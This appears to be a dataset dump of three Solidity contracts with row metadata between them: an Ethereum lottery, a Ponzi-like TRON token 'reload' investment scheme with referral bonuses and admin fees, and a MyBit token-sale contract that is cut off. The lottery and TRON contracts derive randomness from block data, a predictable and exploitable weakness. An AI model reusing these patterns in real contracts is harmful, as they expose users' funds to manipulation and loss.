// By default, each address is mapped to 0, which is acceptable. When an address guesses
// too poorly, it is switched to -1.
address[] EliminatedParticipantsRandomRRoulette; // This holds a list of all participants barred from the randomized Russian roulette lotto
mapping(address => uint) public RandomEliminatedStatus; // This tracks whether a participant is banned from the randomized russian roulette lotto or not.
// By default, each address is mapped to 0, which is acceptable. When an address guesses too
// poorly, it is switched to -1.
address public lotteryManager; // This is the person in charge of the lottery
constructor() public {
lotteryManager=msg.sender; // set the owner to the contract creator
MainLottoFunds=0; // no funds at first in Main Lotto
GuessingLottoFunds=0; // no funds at first in Guessing Lotto
WeightedLottoFunds=0; // no funds at first in Weighted Lotto
RRouletteLottoFunds=0; // no funds at first in Russian Roulette Lotto
RandomRRouletteLottoFunds=0; // no funds at first in Randomized Russian Roulette Lotto
GuessingLottoDifficulty=10; // will decide how difficult it is to guess the target
RRouletteLottoDifficulty=10; // will decide how difficult it is to guess the target
RandomRRouletteLottoDifficulty=10; // will decide how difficult it is to guess the target
UpdateGuessingLottoTarget(); // create initial target for Guessing lotto
UpdateRRouletteLottoTarget(); // create initial target for Russian Roulette Lotto
UpdateRandomRRouletteLottoTarget(); // create initial target for Randomized Russian Roulette Lotto
}
// check who the owner is
function getOwner() public view returns (address) {
return lotteryManager;
}
// generate "random" number
function random() private view returns(uint) {
return uint(keccak256(abi.encodePacked(block.difficulty, now, participantsMain)));
}
// Pay 1 eth to be added to pool of competitors
function MainLottoEntry() public payable {
require(msg.value == 1 ether, "Please pay exactly one ether");
participantsMain.push(msg.sender);
MainLottoFunds+=msg.value; //add 1 eth to pot
}
// Pay out winner of Main Lotto
function MainLottoEnd() public payable returns(uint) {
require(msg.sender == lotteryManager); //can only be executed by owner
uint winning_index = random() % participantsMain.length; //randomly generate winner
participantsMain[winning_index].transfer(MainLottoFunds); // send funds to winner
MainLottoFunds=0; // reset fund counter
delete participantsMain; // reset participant address array
participantsMain = new address[](0);
}
// See who is participating in the Main Lotto
function getMainLottoPlayers() public view returns(address[]) {
return participantsMain;
}
// See how much eth is up for grabs in the Main Lotto
function getMainLottoFunds() public view returns(uint) {
return MainLottoFunds;
}
// Pay one eth for chance to guess target and win pot
function GuessingLottoEntry(uint guess) public payable {
require(msg.value == 1 ether, "Please pay exactly one ether");
GuessingLottoFunds+=msg.value; //Add payment to Guessing Lotto pot
if (guess==GuessingLottoTarget) { //Only when guess is exactly right
msg.sender.transfer(GuessingLottoFunds); //Transfer pot to winner
GuessingLottoFunds=0; //Reset pot
}
UpdateGuessingLottoTarget(); //Choose new target every guess to avoid process of elimination
}
// Choose new guessing target
function UpdateGuessingLottoTarget() private {
GuessingLottoTarget=random() % GuessingLottoDifficulty; //Range based on difficulty
}
// Update difficulty for Guessing Lotto
function UpdateGuessingLottoDifficulty(uint new_difficulty) public {
require(msg.sender == lotteryManager); //Can only be updated by owner of contract
require(new_difficulty > 0,"The difficulty should be greater than 0");
GuessingLottoDifficulty=new_difficulty;
}
// See how much eth is up for grabs in the Guessing Lotto
function getGuessingLottoFunds() public view returns(uint){
return GuessingLottoFunds;
}
// Pay however much you want to enter the Weighted lotto
function WeightedLottoEntry() public payable {
require(msg.value % 1000000000000000000 == 0, "Please only pay in exact eth"); //Pay exclusively in eth, not wei
weights[msg.sender]=msg.value; //Your address is mapped to how much you paid to enter
participantsWeighted.push(msg.sender); //You are recorded as a participant
WeightedLottoFunds+=msg.value; //The money you paid is added to the pot
}
// Declare a winner for weighted lotto, give them the pot, reset the pot and participants
function WeightedLottoEnd() public {
require(msg.sender == lotteryManager); //Can only be ended by owner of contract
uint winning_weight = random() % (WeightedLottoFunds / 1000000000000000000); //Choose a random weight (winner contributed weight in this interval)
uint current_tally=(weights[participantsWeighted[0]] / 1000000000000000000); //Identify how much first participant contributed to weight
uint prev_tally=0;
if (winning_weight<=current_tally) { //See if first participant won
participantsWeighted[0].transfer(WeightedLottoFunds); //If so, give them the pot
}
else { //Otherwise
uint i=1;
uint winner_found=0;
while (i < participantsWeighted.length && winner_found==0) { //iterate through participants until you find your winner
prev_tally = current_tally; //set lower end of interval being checked
current_tally+=(weights[participantsWeighted[i]] / 1000000000000000000); //set higher end of interval being checked
if (winning_weight >= prev_tally && winning_weight <= current_tally) { //see if interval user contributed contains winning weight
participantsWeighted[i].transfer(WeightedLottoFunds); //If so, give them the pot
winner_found=1; //Note that you've already found your winner
}
i++; //Move on to the next participant
}
}
WeightedLottoFunds=0; //Reset the pot
delete participantsWeighted; //Reset the participants
participantsWeighted = new address[](0);
}
// Check who's participating in the Weighted Lotto
function getWeightedLottoPlayers() public view returns(address[]) {
return participantsWeighted;
}
// See how much eth is up for grabs in the Weighted Lotto
function getWeightedLottoFunds() public view returns(uint) {
return WeightedLottoFunds;
}
// Pay 1 eth to participate in the Russian Roulette Lotto
function RRouletteEntry(uint guess) public payable {
require(msg.value == 1 ether, "Please pay exactly one ether");
require(EliminatedStatus[msg.sender]!=1, "Please wait until you may enter again"); //Cannot participate again if eliminated in this round
RRouletteLottoFunds+=msg.value; //Add funds to pot if amount paid is acceptable and participant not eliminated previously
int target_int=int(RRouletteLottoTarget);
int guess_int=int(guess);
int distance_int = (target_int-guess_int);
if (distance_int < 0) {
distance_int = 0 - distance_int;
}
distance_int = distance_int % int(RRouletteLottoDifficulty); //Distance between guess and Russian Roulette Target
if (guess==RRouletteLottoTarget) { //Check if user guessed correctly
msg.sender.transfer(RRouletteLottoFunds); //If so, give them the pot
RRouletteLottoFunds=0; //Reset the pot
for (uint i=0;i<EliminatedParticipantsRRoulette.length;i++) { //Unban all banned participants in preparation for the next round
EliminatedStatus[EliminatedParticipantsRRoulette[i]]=0;
}
delete EliminatedParticipantsRRoulette; //Clear list of blacklisted addresses
EliminatedParticipantsRRoulette = new address[](0);
}
else if (distance_int > 2) { //If guess was wrong and it was off by more than 2
EliminatedParticipantsRRoulette.push(msg.sender); //You get blacklisted
EliminatedStatus[msg.sender]=1;
}
UpdateRRouletteLottoTarget(); //Choose new target every guess to avoid process of elimination
}
// Choose new target for the Russian Roulette lotto
function UpdateRRouletteLottoTarget() private {
RRouletteLottoTarget=random() % RRouletteLottoDifficulty;
}
// Update difficulty for Russian Roulette
function UpdateRRouletteLottoDifficulty(uint new_difficulty) public {
require(msg.sender == lotteryManager); //Can only be updated by owner of contract
require(new_difficulty > 0,"The difficulty should be greater than 0");
RRouletteLottoDifficulty=new_difficulty;
}
// See how much is up for grabs in the Russian Roulette lotto
function getRRouletteLottoFunds() public view returns(uint) {
return RRouletteLottoFunds;
}
// Pay 1 eth to enter the Randomized Russian Roulette lotto
function RandomRRouletteEntry(uint guess) public payable {
require(msg.value == 1 ether, "Please pay exactly one ether");
require(RandomEliminatedStatus[msg.sender]!=1, "Please wait until you may enter again");
RandomRRouletteLottoFunds+=msg.value; //add payment to pot
if (guess==RandomRRouletteLottoTarget) { //If your guess is exactly right
msg.sender.transfer(RandomRRouletteLottoFunds); //You get the pot
RandomRRouletteLottoFunds=0; //Reset the pot
for (uint i=0;i<EliminatedParticipantsRandomRRoulette.length;i++) { //Go through list of eliminated participants
RandomEliminatedStatus[EliminatedParticipantsRandomRRoulette[i]]=0; //Remove them from the blacklist
}
delete EliminatedParticipantsRandomRRoulette;
EliminatedParticipantsRandomRRoulette = new address[](0);
}
else if (random() % 6 != 1) { // 1/6 chance you can try again
EliminatedParticipantsRandomRRoulette.push(msg.sender); //if you fail, you're blacklisted
RandomEliminatedStatus[msg.sender]=1;
}
UpdateRandomRRouletteLottoTarget(); //Choose new target every guess to avoid process of elimination
}
// Choose new Randomized Russian Roulette number
function UpdateRandomRRouletteLottoTarget() private {
RandomRRouletteLottoTarget=random() % RandomRRouletteLottoDifficulty; //Target based on Difficulty
}
// Update difficulty for Randomized Russian Roulette
function UpdateRandomRRouletteLottoDifficulty(uint new_difficulty) public {
require(msg.sender == lotteryManager); //Can only be updated by owner of contract
require(new_difficulty > 0,"The difficulty should be greater than -");
RandomRRouletteLottoDifficulty=new_difficulty;
}
// See how much is up for grabs in Randomized Russian Roulette Lotto
function getRandomRRouletteLottoFunds() public view returns(uint) {
return RandomRRouletteLottoFunds;
}
// fallback function
function () public payable {
msg.sender.transfer(msg.value);
}
// destroy function
function destroy() public {
if (msg.sender == lotteryManager) selfdestruct(lotteryManager);
}
} // end of contract
/// Styled according to Style Guide v0.5.13
| 21,095 | 559 |
c5935c28e559d2ae7819e1e16ac6cd4f04415b8509cceba275fea8dda505e4bd
| 18,626 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TYPatKDw9hYGnJLGTpaZcpMchPNwJKL4Yw_TrxOnTop_Reload.sol
| 4,770 | 17,743 |
//SourceUnit: TrxOnTop_Reload.sol
pragma solidity 0.5.14;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) internal {
require(initialOwner != address(0), "Ownable: initial owner is the zero address");
_owner = initialOwner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TRC20 is ITRC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "TRC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "TRC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "TRC20: approve from the zero address");
require(spender != address(0), "TRC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
contract Token is TRC20, Ownable {
mapping (address => bool) private _contracts;
constructor() public Ownable(msg.sender) {
_name = "Plus Reload Token";
_symbol = "RT";
_decimals = 6;
}
function approveAndCall(address spender, uint256 amount, bytes memory extraData) public returns (bool) {
require(approve(spender, amount));
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData);
return true;
}
function transfer(address to, uint256 value) public returns (bool) {
if (_contracts[to]) {
approveAndCall(to, value, new bytes(0));
} else {
super.transfer(to, value);
}
return true;
}
}
contract TrxOnTop_Reload is Token {
uint private iniTime;
address payable private admin;
address payable private adv_1;
address payable private adv_2;
uint private totalInvestors;
uint private totalTrxDeposited;
uint private insuredBalance;
uint8[] private REF_BONUSES = [2, 1];
uint private constant LUCKY_LIFETIME = 5 * 24 * 60 * 60;
uint private constant SECURE_PERCENT = 5;
uint private constant START_PRICE = 1E6;
uint private constant DAILY_INCREASE = 4;
uint private constant DEAD_TIME = 20 * 60 * 60;
uint private constant MIN_BUY = 199E6;
uint private constant MIN_LUCKY = 1000E6;
uint private constant MAX_LUCKY = 10000E6;
mapping(address => Player) private players;
struct LuckyPlan {
uint activeDeposit;
uint tariff;
uint insuredDeposit;
uint depositStartTime;
}
struct Player {
LuckyPlan lp;
address upline;
uint totalTrxDeposited;
uint totalTrxWithdrawn;
uint totaReferralBonus;
mapping(uint8 => uint) structure;
}
event TokenOperation(address indexed account, string txType, uint tokenAmount, uint trxAmount);
event LuckyDeposit(address indexed addr, uint amount);
event LuckyReactive(address indexed addr, uint amount);
event WithdrawLucky(address indexed addr, uint amount);
event PlanSecured(address indexed addr, uint amount);
constructor(address payable _adv1, address payable _adv2) public {
admin = msg.sender;
adv_1 = _adv1;
adv_2 = _adv2;
iniTime = now;
}
function refPayout(address _addr, uint _amount) private {
address up = players[_addr].upline;
for(uint8 i = 0; i < REF_BONUSES.length; i++) {
if(up == address(0)) break;
uint bonus = _amount * REF_BONUSES[i] / 100;
_mint(up, bonus);
players[up].totaReferralBonus += bonus;
up = players[up].upline;
}
}
function setUpline(address _addr, address _upline) private {
if(players[_addr].upline == address(0) && _addr != admin) {
if(players[_upline].totalTrxDeposited == 0) {
_upline = admin;
}
players[_addr].upline = _upline;
for(uint8 i = 0; i < REF_BONUSES.length; i++) {
players[_upline].structure[i]++;
_upline = players[_upline].upline;
if(_upline == address(0)) break;
}
}
}
function getRandomNum(uint fr, uint to) view private returns (uint) {
uint A = minZero(to, fr) + 1;
return uint(uint(keccak256(abi.encode(block.timestamp, block.difficulty)))%A) + fr;
}
function getBuyPrice() private view returns(uint) {
if (iniTime != 0) {
uint elapsedTime = minZero(now, iniTime + DEAD_TIME);
uint add = START_PRICE * elapsedTime * DAILY_INCREASE / 100;
return START_PRICE + add / 86400;
} else {
return START_PRICE;
}
}
function getSellPrice() private view returns(uint) {
return getBuyPrice() * 50 / 100;
}
function trxToToken(uint trxAmount) private view returns(uint) {
return trxAmount * 1E6 / getBuyPrice();
}
function tokenToTrx(uint tokenAmount) private view returns(uint) {
return tokenAmount * getSellPrice() / 1E6;
}
function buy(address upline) public payable {
uint tokenAmount = trxToToken(msg.value);
require(tokenAmount >= MIN_BUY, "TOT Reload: Token Amount can not be less than 200");
Player storage player = players[msg.sender];
setUpline(msg.sender, upline);
if (player.totalTrxDeposited == 0) {
totalInvestors++;
}
_mint(msg.sender, tokenAmount);
player.totalTrxDeposited += msg.value;
totalTrxDeposited += msg.value;
emit TokenOperation(msg.sender, "BUY", tokenAmount, msg.value);
payContractFee(msg.value);
refPayout(msg.sender, tokenAmount);
}
function sell(uint tokenAmount) public {
require(tokenAmount > 0, "TOT Reload: Token amount can not be 0");
tokenAmount = minVal(tokenAmount, balanceOf(msg.sender));
uint trxAmount = tokenToTrx(tokenAmount);
require(getAvailableContractBalance() > trxAmount, "TOT Reload: Insufficient Contract Balance");
_burn(msg.sender, tokenAmount);
msg.sender.transfer(trxAmount);
players[msg.sender].totalTrxWithdrawn += trxAmount;
emit TokenOperation(msg.sender, "SELL", tokenAmount, trxAmount);
}
function luckyDeposit() external payable {
Player storage player = players[msg.sender];
require(player.lp.activeDeposit == 0, "TOT Reload: Only 1 Lucky Plan is allowed at the same time");
require(player.totalTrxDeposited >= 2 * msg.value && msg.value >= MIN_LUCKY, "TOT Reload: Wrong amount");
require(msg.value <= MAX_LUCKY, "TOT Reload: Wrong amount");
player.totalTrxDeposited += msg.value;
totalTrxDeposited += msg.value;
player.lp.activeDeposit = msg.value;
player.lp.tariff = getRandomNum(210, 220);
player.lp.depositStartTime = now;
payContractFee(msg.value);
emit LuckyDeposit(msg.sender, msg.value);
}
function luckyReactive() external {
Player storage player = players[msg.sender];
require(player.lp.depositStartTime + LUCKY_LIFETIME < now, "TOT Reload: Plan not finished yet");
uint w_amount = minZero(player.lp.activeDeposit * LUCKY_LIFETIME * player.lp.tariff / 86400 / 1000, player.lp.activeDeposit);
uint contractBalance = getAvailableContractBalance();
require(contractBalance >= w_amount, "TOT Reload: Contract balance < Interest Profit");
player.totalTrxWithdrawn += w_amount;
msg.sender.transfer(w_amount);
emit WithdrawLucky(msg.sender, w_amount);
insuredBalance = minZero(insuredBalance, player.lp.insuredDeposit);
player.lp.insuredDeposit = 0;
player.lp.tariff = getRandomNum(210, 220);
player.lp.depositStartTime = now;
payContractFee(player.lp.activeDeposit);
if (player.lp.tariff == 210) {
msg.sender.transfer(100E6);
}
emit LuckyReactive(msg.sender, player.lp.activeDeposit);
}
function luckyWithdraw() external {
Player storage player = players[msg.sender];
require(player.lp.depositStartTime + LUCKY_LIFETIME < now, "TOT Reload: Plan not finished yet");
uint amount = player.lp.activeDeposit * LUCKY_LIFETIME * player.lp.tariff / 86400 / 1000;
if (player.lp.insuredDeposit == 0) {
require(getAvailableContractBalance() >= amount, "TOT Reload: Contract balance < Interest Profit");
msg.sender.transfer(amount);
} else {
insuredBalance = minZero(insuredBalance, player.lp.insuredDeposit);
player.lp.insuredDeposit = 0;
msg.sender.transfer(amount);
}
player.lp.activeDeposit = 0;
player.lp.tariff = 0;
player.totalTrxWithdrawn += amount;
emit WithdrawLucky(msg.sender, amount);
}
function getLuckyPlan_InterestProfit(address _addr) view private returns(uint value) {
Player storage player = players[_addr];
if (player.lp.activeDeposit > 0) {
if (now < player.lp.depositStartTime + LUCKY_LIFETIME) {
uint fr = player.lp.depositStartTime;
uint to = now;
value = player.lp.activeDeposit * (to - fr) * player.lp.tariff / 86400 / 1000;
} else {
value = player.lp.activeDeposit * LUCKY_LIFETIME * player.lp.tariff / 86400 / 1000;
}
} else {
value = 0;
}
return value;
}
function secureLuckyPlan() external payable {
Player storage player = players[msg.sender];
require(player.lp.activeDeposit > 0, "TOT Reload: Active Lucky Plan not found");
require(player.lp.insuredDeposit == 0, "TOT Reload: Your Lucky Plan is already insured");
require(minZero(player.lp.depositStartTime + LUCKY_LIFETIME, now) > 0, "TOT Reload: Your active Lucky Plan is complete");
require(msg.value == player.lp.activeDeposit * SECURE_PERCENT / 100, "TOT Reload: Wrong Amount");
uint256 sec_amount = player.lp.activeDeposit * LUCKY_LIFETIME * player.lp.tariff / 86400 / 1000;
require(getAvailableContractBalance() > sec_amount, "TOT Reload: Insufficient Contract Balance");
player.lp.insuredDeposit = sec_amount;
insuredBalance += sec_amount;
emit PlanSecured(msg.sender, sec_amount);
}
function payContractFee(uint val) private {
admin.transfer(val * 6 / 100);
adv_1.transfer(val * 3 / 100);
adv_2.transfer(val * 1 / 100);
}
function minZero(uint a, uint b) private pure returns(uint) {
if (a > b) {
return a - b;
} else {
return 0;
}
}
function maxVal(uint a, uint b) private pure returns(uint) {
if (a > b) {
return a;
} else {
return b;
}
}
function minVal(uint a, uint b) private pure returns(uint) {
if (a > b) {
return b;
} else {
return a;
}
}
function getContractBalance() internal view returns (uint) {
return address(this).balance;
}
function getAvailableContractBalance() internal view returns (uint) {
return minZero(getContractBalance(), insuredBalance);
}
function userInfo(address _addr) view external returns(uint _tokenBalance, uint _trxBalance, uint _totalTrxDeposited, uint _totalTrxWithdrawn, uint _totaReferralBonus, uint[2] memory _structure) {
Player storage player = players[_addr];
for(uint8 i = 0; i < REF_BONUSES.length; i++) {
_structure[i] = player.structure[i];
}
return (balanceOf(_addr),
_addr.balance,
player.totalTrxDeposited,
player.totalTrxWithdrawn,
player.totaReferralBonus,
_structure);
}
function luckyInfo(address _addr) view external returns(uint _activeDeposit, uint _tariff, uint _insuredDeposit, uint _dividends, uint256 _nextWithdraw) {
Player storage player = players[_addr];
return (player.lp.activeDeposit,
player.lp.tariff,
player.lp.insuredDeposit,
getLuckyPlan_InterestProfit(_addr),
minZero(player.lp.depositStartTime + LUCKY_LIFETIME, now));
}
function contractInfo() view external returns(uint _totalTokenSupply, uint _tokenBuyPrice, uint _tokenSellPrice, uint _totalInvestors, uint _totalTrxDeposited, uint _insuredBalance, uint _availableBalance, uint _totalBalance, uint _timeLeftProfit) {
return (totalSupply(),
getBuyPrice(),
getSellPrice(),
totalInvestors,
totalTrxDeposited,
insuredBalance,
getAvailableContractBalance(),
getContractBalance(),
minZero(iniTime + DEAD_TIME, now));
}
}
| 302,498 | 560 |
fa1a59c735a62dc87419993efc9013de5c0930c5804f540b1a5afaca353f4509
| 10,841 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0xcca36039cfdd0753d3aa9f1b4bf35b606c8ed971.sol
| 2,890 | 10,574 |
pragma solidity 0.4.25;
// File: contracts/SafeMath.sol
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// @title SafeMath: overflow/underflow checks
// @notice Math operations with safety checks that throw on error
library SafeMath {
// @notice Multiplies two numbers, throws on overflow.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
// @notice Integer division of two numbers, truncating the quotient.
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
// @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
// @notice Adds two numbers, throws on overflow.
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/ERC20Interface.sol
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
interface ERC20Interface {
function totalSupply() external returns (uint);
function balanceOf(address tokenOwner) external returns (uint balance);
function allowance(address tokenOwner, address spender) external returns (uint remaining);
function transfer(address to, uint tokens) external returns (bool success);
function approve(address spender, uint tokens) external returns (bool success);
function transferFrom(address from, address to, uint tokens) external returns (bool success);
function burn(uint _amount) external returns (bool success);
function burnFrom(address _from, uint _amount) external returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event LogBurn(address indexed _spender, uint256 _value);
}
// File: contracts/TokenSale.sol
// @title MyBit Tokensale
// @notice A tokensale extending for 365 days. (0....364)
// @notice 100,000 MYB are releases everyday and split proportionaly to funders of that day
// @notice Anyone can fund the current or future days with ETH
// @dev The current day is (timestamp - startTimestamp) / 24 hours
// @author Kyle Dewhurst, MyBit Foundation
contract TokenSale {
using SafeMath for *;
ERC20Interface mybToken;
struct Day {
uint totalWeiContributed;
mapping (address => uint) weiContributed;
}
// Constants
uint256 constant internal scalingFactor = 10**32; // helps avoid rounding errors
uint256 constant public tokensPerDay = 10**23; // 100,000 MYB
// MyBit addresses
address public owner;
address public mybitFoundation;
address public developmentFund;
uint256 public start; // The timestamp when sale starts
mapping (uint16 => Day) public day;
constructor(address _mybToken, address _mybFoundation, address _developmentFund)
public {
mybToken = ERC20Interface(_mybToken);
developmentFund = _developmentFund;
mybitFoundation = _mybFoundation;
owner = msg.sender;
}
// @notice owner can start the sale by transferring in required amount of MYB
// @dev the start time is used to determine which day the sale is on (day 0 = first day)
function startSale(uint _timestamp)
external
onlyOwner
returns (bool){
require(start == 0, 'Already started');
require(_timestamp >= now && _timestamp.sub(now) < 2592000, 'Start time not in range');
uint saleAmount = tokensPerDay.mul(365);
require(mybToken.transferFrom(msg.sender, address(this), saleAmount));
start = _timestamp;
emit LogSaleStarted(msg.sender, mybitFoundation, developmentFund, saleAmount, _timestamp);
return true;
}
// @notice contributor can contribute wei to sale on any current/future _day
// @dev only accepts contributions between days 0 - 364
function fund(uint16 _day)
payable
public
returns (bool) {
require(addContribution(msg.sender, msg.value, _day));
return true;
}
// @notice Send an index of days and your payment will be divided equally among them
// @dev WEI sent must divide equally into number of days.
function batchFund(uint16[] _day)
payable
external
returns (bool) {
require(_day.length <= 50); // Limit to 50 days to avoid exceeding blocklimit
require(msg.value >= _day.length); // need at least 1 wei per day
uint256 amountPerDay = msg.value.div(_day.length);
assert (amountPerDay.mul(_day.length) == msg.value); // Don't allow any rounding error
for (uint8 i = 0; i < _day.length; i++){
require(addContribution(msg.sender, amountPerDay, _day[i]));
}
return true;
}
// @notice Updates claimableTokens, sends all wei to the token holder
function withdraw(uint16 _day)
external
returns (bool) {
require(dayFinished(_day), "day has not finished funding");
Day storage thisDay = day[_day];
uint256 amount = getTokensOwed(msg.sender, _day);
delete thisDay.weiContributed[msg.sender];
mybToken.transfer(msg.sender, amount);
emit LogTokensCollected(msg.sender, amount, _day);
return true;
}
// @notice Updates claimableTokens, sends all tokens to contributor from previous days
// @param (uint16[]) _day, list of token sale days msg.sender contributed wei towards
function batchWithdraw(uint16[] _day)
external
returns (bool) {
uint256 amount;
require(_day.length <= 50); // Limit to 50 days to avoid exceeding blocklimit
for (uint8 i = 0; i < _day.length; i++){
require(dayFinished(_day[i]));
uint256 amountToAdd = getTokensOwed(msg.sender, _day[i]);
amount = amount.add(amountToAdd);
delete day[_day[i]].weiContributed[msg.sender];
emit LogTokensCollected(msg.sender, amountToAdd, _day[i]);
}
mybToken.transfer(msg.sender, amount);
return true;
}
// @notice owner can withdraw funds to the foundation wallet and ddf wallet
// @param (uint) _amount, The amount of wei to withdraw
// @dev must put in an _amount equally divisible by 2
function foundationWithdraw(uint _amount)
external
onlyOwner
returns (bool){
uint256 half = _amount.div(2);
assert (half.mul(2) == _amount); // check for rounding error
mybitFoundation.transfer(half);
developmentFund.transfer(half);
emit LogFoundationWithdraw(msg.sender, _amount, dayFor(now));
return true;
}
// @notice updates ledger with the contribution from _investor
// @param (address) _investor: The sender of WEI to the contract
// @param (uint) _amount: The amount of WEI to add to _day
// @param (uint16) _day: The day to fund
function addContribution(address _investor, uint _amount, uint16 _day)
internal
returns (bool) {
require(_amount > 0, "must send ether with the call");
require(duringSale(_day), "day is not during the sale");
require(!dayFinished(_day), "day has already finished");
Day storage today = day[_day];
today.totalWeiContributed = today.totalWeiContributed.add(_amount);
today.weiContributed[_investor] = today.weiContributed[_investor].add(_amount);
emit LogTokensPurchased(_investor, _amount, _day);
return true;
}
function getTokensOwed(address _contributor, uint16 _day)
public
view
returns (uint256) {
require(dayFinished(_day));
Day storage thisDay = day[_day];
uint256 percentage = thisDay.weiContributed[_contributor].mul(scalingFactor).div(thisDay.totalWeiContributed);
return percentage.mul(tokensPerDay).div(scalingFactor);
}
// @notice gets the total amount of mybit owed to the contributor
function getTotalTokensOwed(address _contributor, uint16[] _days)
public
view
returns (uint256 amount) {
require(_days.length < 100); // Limit to 100 days to avoid exceeding block gas limit
for (uint16 i = 0; i < _days.length; i++){
amount = amount.add(getTokensOwed(_contributor, _days[i]));
}
return amount;
}
// @notice returns the amount of wei contributed by _contributor on _day
function getWeiContributed(uint16 _day, address _contributor)
public
view
returns (uint256) {
return day[_day].weiContributed[_contributor];
}
// @notice returns amount of wei contributed on _day
// @dev if _day is outside of tokensale range it will return 0
function getTotalWeiContributed(uint16 _day)
public
view
returns (uint256) {
return day[_day].totalWeiContributed;
}
// @notice return the day associated with this timestamp
function dayFor(uint _timestamp)
public
view
returns (uint16) {
require(_timestamp >= start);
return uint16(_timestamp.sub(start).div(86400));
}
// @notice returns true if _day is finished
function dayFinished(uint16 _day)
public
view
returns (bool) {
if (now <= start) { return false; } // hasn't yet reached first day, so cannot be finished
return dayFor(now) > _day;
}
// @notice reverts if the current day isn't less than 365
function duringSale(uint16 _day)
public
view
returns (bool){
return start > 0 && _day <= uint16(364);
}
// @notice return the current day
function currentDay()
public
view
returns (uint16) {
return dayFor(now);
}
// @notice Fallback function: Purchases contributor stake in the tokens for the current day
// @dev rejects contributions by means of the fallback function until timestamp > start
function ()
external
payable {
require(addContribution(msg.sender, msg.value, currentDay()));
}
// @notice only owner address can call
modifier onlyOwner {
require(msg.sender == owner);
_;
}
event LogSaleStarted(address _owner, address _mybFoundation, address _developmentFund, uint _totalMYB, uint _startTime);
event LogFoundationWithdraw(address _mybFoundation, uint _amount, uint16 _day);
event LogTokensPurchased(address indexed _contributor, uint _amount, uint16 indexed _day);
